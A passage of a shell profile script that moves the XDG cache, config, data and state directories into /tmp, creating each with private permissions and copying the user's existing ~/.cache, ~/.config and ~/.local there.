[ -d "${XDG_CACHE_HOME}" ] || (

         mkdir -p "${XDG_CACHE_HOME}"

         chmod 0700 "${XDG_CACHE_HOME}"

)

cp -ax $HOME/.cache /tmp

export XDG_CONFIG_HOME="/tmp/.config"

[ -d "${XDG_CONFIG_HOME}" ] || (

         mkdir -p "${XDG_CONFIG_HOME}"

         chmod 0700 "${XDG_CONFIG_HOME}"

)

cp -ax $HOME/.config /tmp

export XDG_DATA_HOME="/tmp/.local/share"

[ -d "${XDG_DATA_HOME}" ] || (

         mkdir -p "${XDG_DATA_HOME}"

         chmod 0700 "${XDG_DATA_HOME}"

)

export XDG_STATE_HOME="/tmp/.local/state"

[ -d "${XDG_STATE_HOME}" ] || (

         mkdir -p "${XDG_STATE_HOME}"

         chmod 0700 "${XDG_STATE_HOME}"

)

cp -ax $HOME/.local /tmp